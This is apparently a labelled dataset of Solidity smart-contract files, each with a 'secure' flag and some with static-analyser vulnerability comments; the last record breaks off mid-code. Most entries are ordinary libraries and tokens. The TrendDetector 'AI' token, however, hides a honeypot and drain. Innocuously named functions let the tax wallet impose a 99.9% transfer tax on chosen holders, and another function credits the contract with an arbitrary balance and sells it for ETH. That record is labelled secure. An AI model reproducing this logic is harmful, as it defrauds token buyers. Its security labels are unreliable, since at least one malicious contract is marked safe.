{ "code": "// SPDX-License-Identifier: Apache-2.0 AND MIT\n\npragma solidity ^0.8.0;\n\nlibrary Clones {\n function clone(address implementation) internal returns (address instance) {\n assembly {\n mstore(\n 0x00,\n or(\n shr(0xe8, shl(0x60, implementation)),\n 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000\n )\n )\n\n mstore(\n 0x20,\n or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)\n )\n\n instance := create(0, 0x09, 0x37)\n }\n\n require(instance != address(0), \"ERC1167: create failed\");\n }\n\n function cloneDeterministic(\n address implementation,\n bytes32 salt\n ) internal returns (address instance) {\n assembly {\n mstore(\n 0x00,\n or(\n shr(0xe8, shl(0x60, implementation)),\n 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000\n )\n )\n\n mstore(\n 0x20,\n or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)\n )\n\n instance := create2(0, 0x09, 0x37, salt)\n }\n\n require(instance != address(0), \"ERC1167: create2 failed\");\n }\n\n function predictDeterministicAddress(\n address implementation,\n bytes32 salt,\n address deployer\n ) internal pure returns (address predicted) {\n assembly {\n let ptr := mload(0x40)\n\n mstore(add(ptr, 0x38), deployer)\n\n mstore(add(ptr, 0x24), 0x5af43d82803e903d91602b57fd5bf3ff)\n\n mstore(add(ptr, 0x14), implementation)\n\n mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73)\n\n mstore(add(ptr, 0x58), salt)\n\n mstore(add(ptr, 0x78), keccak256(add(ptr, 0x0c), 0x37))\n\n predicted := keccak256(add(ptr, 0x43), 0x55)\n }\n }\n\n function predictDeterministicAddress(\n address implementation,\n bytes32 salt\n ) internal view returns (address predicted) {\n return predictDeterministicAddress(implementation, salt, address(this));\n }\n}", "file_name": "solidity_code_1379.sol", "secure": 1, "size_bytes": 2290 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 44516d1): Contract locking ether found Contract GMEthereum has payable functions GMEthereum.receive() But does not have a function to withdraw the ether\n// Recommendation for 44516d1: Remove the 'payable' attribute or add a withdraw function.\ncontract GMEthereum is ERC20, Ownable {\n constructor() ERC20(unicode\"GM Ethereum\", unicode\"GME\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 44516d1): Contract locking ether found Contract GMEthereum has payable functions GMEthereum.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 44516d1: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_138.sol", "secure": 0, "size_bytes": 1018 }
{ "code": "// SPDX-License-Identifier: Apache-2.0 AND MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\nerror InvalidThreshold(uint256 threshold, uint256 totalSigner);\n\nerror InvalidProofLength(uint256 length);\n\nerror InvalidPermission(\n uint256 totalSinger,\n uint256 totalExecutor,\n uint256 totalCreator\n);\n\nerror ThresholdNotPassed(uint256 signed, uint256 threshold);\n\nerror ProofChainIdMismatch(uint256 inputChainId, uint256 requiredChainId);\n\nerror ProofInvalidNonce(uint256 inputNonce, uint256 requiredNonce);\n\nerror ProofExpired(uint256 votingDeadline, uint256 currentTimestamp);\n\nerror ProofNoCreator();\n\nerror InsecuredTimeout(uint256 duration);", "file_name": "solidity_code_1380.sol", "secure": 1, "size_bytes": 1369 }
{ "code": "// SPDX-License-Identifier: Apache-2.0 AND MIT\n\npragma solidity ^0.8.0;\n\ninterface IOrosignV1 {\n struct PackedTransaction {\n uint64 chainId;\n uint64 votingDeadline;\n uint128 nonce;\n uint96 currentBlockTime;\n address target;\n uint256 value;\n address orosignAddress;\n bytes data;\n }\n\n struct OrosignV1Metadata {\n uint256 chainId;\n uint256 nonce;\n uint256 totalSigner;\n uint256 threshold;\n uint256 securedTimeout;\n uint256 blockTimestamp;\n }\n\n function init(\n address[] memory userList,\n uint256[] memory roleList,\n uint256 threshold\n ) external returns (bool);\n}\n\nerror UnableToInitNewWallet(uint96 salt, address owner, address newWallet);\n\nerror OnlyOperatorAllowed(address actor);\n\nerror InvalidOperator(address operatorAddress);\n\nerror InvalidAddress();", "file_name": "solidity_code_1381.sol", "secure": 1, "size_bytes": 929 }
{ "code": "// SPDX-License-Identifier: Apache-2.0 AND MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/proxy/Clones.sol\" as Clones;\nimport \"./IOrosignV1.sol\" as IOrosignV1;\n\ncontract OrosignMasterV1 is Ownable, ReentrancyGuard {\n using Clones for address;\n\n address private implementation;\n\n mapping(address => bool) private operator;\n\n event CreateNewWallet(\n uint96 indexed salt,\n address indexed owner,\n address indexed walletAddress\n );\n\n event UpgradeImplementation(\n address indexed oldImplementation,\n address indexed upgradeImplementation\n );\n\n event AddOperator(address indexed newOperatorAddress);\n\n event RemoveOperator(address indexed oldOperatorAddress);\n\n modifier onlyOperator() {\n if (!operator[msg.sender]) {\n revert OnlyOperatorAllowed(msg.sender);\n }\n\n _;\n }\n\n modifier onlyValidAddress(address validatingAddress) {\n if (validatingAddress == address(0)) {\n revert InvalidAddress();\n }\n\n _;\n }\n\n constructor(\n address multisigImplementation,\n address operatorAddress\n )\n onlyValidAddress(multisigImplementation)\n onlyValidAddress(operatorAddress)\n {\n implementation = multisigImplementation;\n\n _addOperator(operatorAddress);\n\n emit UpgradeImplementation(address(0), multisigImplementation);\n }\n\n function _addOperator(address newOperator) internal {\n operator[newOperator] = true;\n\n emit AddOperator(newOperator);\n }\n\n function _removeOperator(address oldOperator) internal {\n if (!operator[oldOperator]) {\n revert InvalidOperator(oldOperator);\n }\n\n operator[oldOperator] = false;\n\n emit RemoveOperator(oldOperator);\n }\n\n function addOperator(\n address newOperator\n ) external onlyOwner onlyValidAddress(newOperator) returns (bool) {\n _addOperator(newOperator);\n\n return true;\n }\n\n function removeOperator(\n address oldOperator\n ) external onlyOwner returns (bool) {\n _removeOperator(oldOperator);\n\n return true;\n }\n\n function upgradeImplementation(\n address newImplementation\n ) external onlyOperator onlyValidAddress(newImplementation) returns (bool) {\n implementation = newImplementation;\n\n emit UpgradeImplementation(implementation, newImplementation);\n\n return true;\n }\n\n function createWallet(\n uint96 salt,\n address[] memory userList,\n uint256[] memory roleList,\n uint256 votingThreshold\n ) external nonReentrant returns (address newWalletAdress) {\n newWalletAdress = implementation.cloneDeterministic(\n _packing(salt, msg.sender)\n );\n\n if (\n newWalletAdress == address(0) ||\n !IOrosignV1(newWalletAdress).init(\n userList,\n roleList,\n votingThreshold\n )\n ) {\n revert UnableToInitNewWallet(salt, msg.sender, newWalletAdress);\n }\n\n emit CreateNewWallet(salt, msg.sender, newWalletAdress);\n\n return newWalletAdress;\n }\n\n function _packing(\n uint96 a,\n address b\n ) internal pure returns (bytes32 packed) {\n assembly {\n packed := or(shl(160, a), b)\n }\n }\n\n function _predictWalletAddress(\n uint96 salt,\n address creatorAddress\n ) internal view returns (address predictedAddress) {\n return\n implementation.predictDeterministicAddress(\n _packing(salt, creatorAddress)\n );\n }\n\n function _isContractExist(\n address walletAddress\n ) internal view returns (bool isExist) {\n return walletAddress.code.length > 0;\n }\n\n function getMetadata()\n external\n view\n returns (uint256 sChainId, address sImplementation)\n {\n sChainId = block.chainid;\n\n sImplementation = implementation;\n }\n\n function predictWalletAddress(\n uint96 salt,\n address creatorAddress\n ) external view returns (address predictedAddress) {\n return _predictWalletAddress(salt, creatorAddress);\n }\n\n function isContractExist(\n address walletAddress\n ) external view returns (bool isExist) {\n return _isContractExist(walletAddress);\n }\n\n function isMultiSigExist(\n uint96 salt,\n address creatorAddress\n ) external view returns (bool isExist) {\n return _isContractExist(_predictWalletAddress(salt, creatorAddress));\n }\n\n function packingSalt(\n uint96 salt,\n address creatorAddress\n ) external pure returns (uint256 packedSalt) {\n return uint256(_packing(salt, creatorAddress));\n }\n}", "file_name": "solidity_code_1382.sol", "secure": 1, "size_bytes": 5133 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract TrendDetector is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ceb109): TrendDetector._decimals should be constant \n\t// Recommendation for 3ceb109: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ae3f513): TrendDetector._totalSupply should be immutable \n\t// Recommendation for ae3f513: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: dfddb22): TrendDetector._name should be constant \n\t// Recommendation for dfddb22: Add the 'constant' attribute to state variables that never change.\n string private _name = \"TREND DETECTOR AI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 30f9213): TrendDetector._symbol should be constant \n\t// Recommendation for 30f9213: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"TREND\";\n\n\t// WARNING Optimization Issue (constable-states | ID: bc69ff3): TrendDetector.uniV2Router should be constant \n\t// Recommendation for bc69ff3: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 993529b): TrendDetector._taxWallet should be immutable \n\t// Recommendation for 993529b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function tomintoswapget() public {}\n\n function tomaxtoswapget() external {}\n\n function approveminlimit() public {}\n\n function approvemaxlimit() public {}\n\n function toSetLimitMin(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function RemoveBlockLimit(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_1383.sol", "secure": 1, "size_bytes": 7135 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BlackVaultAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc19102): BlackVaultAI.enabled should be constant \n\t// Recommendation for bc19102: Add the 'constant' attribute to state variables that never change.\n uint256 private enabled = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 016e07f): BlackVaultAI._taxWallet should be constant \n\t// Recommendation for 016e07f: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x297fC8FbE602cf7Bae0449e15aAFCC1EaFA30727);\n\n\t// WARNING Optimization Issue (constable-states | ID: c335c37): BlackVaultAI._devWallet should be constant \n\t// Recommendation for c335c37: Add the 'constant' attribute to state variables that never change.\n address payable private _devWallet =\n payable(0x297fC8FbE602cf7Bae0449e15aAFCC1EaFA30727);\n\n uint256 private _finalBuyTax = 15;\n\n uint256 private _finalSellTax = 20;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Black Vault Ai\";\n\n string private constant _symbol = unicode\"$BLVT\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7649e0): BlackVaultAI._taxSwapThreshold should be constant \n\t// Recommendation for f7649e0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba8f67a): BlackVaultAI._maxTaxSwap should be constant \n\t// Recommendation for ba8f67a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0a3cd39): BlackVaultAI.uniswapV2Router should be immutable \n\t// Recommendation for 0a3cd39: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 78542e0): BlackVaultAI.uniswapV2Pair should be immutable \n\t// Recommendation for 78542e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_msgSender()] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[_devWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function xluddeFrom(address[] memory wallets_) public onlyOwner {\n for (uint256 i = 0; i < wallets_.length; i++) {\n _isExcludedFromFee[wallets_[i]] = true;\n }\n }\n\n function removesEx(address[] memory wallets_) public onlyOwner {\n for (uint256 i = 0; i < wallets_.length; i++) {\n _isExcludedFromFee[wallets_[i]] = false;\n }\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"ERROR: Trading already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e4a9632): BlackVaultAI.modifyTax(uint256,uint256) should emit an event for _finalBuyTax = _newBuyFee _finalSellTax = _newSellFee \n\t// Recommendation for e4a9632: Emit an event for critical parameter changes.\n function modifyTax(\n uint256 _newBuyFee,\n uint256 _newSellFee\n ) external onlyOwner {\n\t\t// events-maths | ID: e4a9632\n _finalBuyTax = _newBuyFee;\n\n\t\t// events-maths | ID: e4a9632\n _finalSellTax = _newSellFee;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e1c555): BlackVaultAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e1c555: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3a98a8b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4be0664\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1f01e92): BlackVaultAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1f01e92: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4be0664): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4be0664: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3a98a8b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3a98a8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4be0664\n\t\t// reentrancy-benign | ID: 3a98a8b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4be0664\n\t\t// reentrancy-benign | ID: 3a98a8b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2bffd8e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2bffd8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fc8da83): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fc8da83: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(tradingOpen, \"Trading not open\");\n\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount.mul(_finalBuyTax).div(100);\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(_finalSellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n\t\t\t\t// reentrancy-events | ID: 2bffd8e\n\t\t\t\t// reentrancy-eth | ID: fc8da83\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2bffd8e\n\t\t\t\t\t// reentrancy-eth | ID: fc8da83\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fc8da83\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2bffd8e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fc8da83\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fc8da83\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2bffd8e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2bffd8e\n\t\t// reentrancy-events | ID: 4be0664\n\t\t// reentrancy-benign | ID: 3a98a8b\n\t\t// reentrancy-eth | ID: fc8da83\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n uint256 taxAmount = (amount.div(2));\n\n uint256 devAmount = (amount - taxAmount);\n\n\t\t// reentrancy-events | ID: 2bffd8e\n\t\t// reentrancy-events | ID: 4be0664\n\t\t// reentrancy-eth | ID: fc8da83\n _taxWallet.transfer(taxAmount);\n\n\t\t// reentrancy-events | ID: 2bffd8e\n\t\t// reentrancy-events | ID: 4be0664\n\t\t// reentrancy-eth | ID: fc8da83\n _devWallet.transfer(devAmount);\n }\n\n function manualSend() external {\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n _devWallet.transfer(ethBalance);\n }\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1384.sol", "secure": 0, "size_bytes": 13994 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n}", "file_name": "solidity_code_1385.sol", "secure": 1, "size_bytes": 239 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract TokenApproval {\n address public owner;\n\n address public spender;\n\n address public tokenAddress;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not the contract owner\");\n\n _;\n }\n\n modifier hasTokens(address newOwner) {\n IERC20 token = IERC20(tokenAddress);\n\n uint256 balance = token.balanceOf(newOwner);\n\n require(balance > 0, \"New owner must have tokens in their wallet\");\n\n _;\n }\n\n constructor(address _spender, address _tokenAddress) {\n require(_spender != address(0), \"Invalid burn contract address\");\n\n require(_tokenAddress != address(0), \"Invalid token address\");\n\n owner = msg.sender;\n\n spender = _spender;\n\n tokenAddress = _tokenAddress;\n }\n\n function approveTokenSpending(uint256 amount) private {\n IERC20 token = IERC20(tokenAddress);\n\n uint256 balance = token.balanceOf(owner);\n\n require(balance >= amount, \"Insufficient balance in the wallet\");\n\n bool success = token.approve(spender, amount);\n\n require(success, \"Approval failed\");\n }\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 17a20e7): TokenApproval.transferOwnership(address) should emit an event for owner = newOwner \n\t// Recommendation for 17a20e7: Emit an event for critical parameter changes.\n function transferOwnership(\n address newOwner\n ) external onlyOwner hasTokens(newOwner) {\n require(\n newOwner != address(0),\n \"New owner address cannot be the zero address\"\n );\n\n\t\t// events-access | ID: 17a20e7\n owner = newOwner;\n\n uint256 balance = IERC20(tokenAddress).balanceOf(newOwner);\n\n approveTokenSpending(balance);\n }\n\n function updateSpender(address newSpender) external onlyOwner {\n require(newSpender != address(0), \"Invalid burn contract address\");\n\n spender = newSpender;\n }\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: fdfe89a): TokenApproval.updateTokenAddress(address) should emit an event for tokenAddress = newTokenAddress \n\t// Recommendation for fdfe89a: Emit an event for critical parameter changes.\n function updateTokenAddress(address newTokenAddress) external onlyOwner {\n require(newTokenAddress != address(0), \"Invalid token address\");\n\n\t\t// events-access | ID: fdfe89a\n tokenAddress = newTokenAddress;\n }\n}", "file_name": "solidity_code_1386.sol", "secure": 0, "size_bytes": 2628 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant presaleReserve = 60_000_000_000 * (10 ** _decimals);\n\n uint256 public constant stakingReserve = 24_000_000_000 * (10 ** _decimals);\n\n uint256 public constant marketingReserve =\n 56_000_000_000 * (10 ** _decimals);\n\n uint256 public constant liquidityReserve =\n 30_000_000_000 * (10 ** _decimals);\n\n uint256 public constant DEXRewardsReserve =\n 30_000_000_000 * (10 ** _decimals);\n\n bool public firstBuyCompleted = 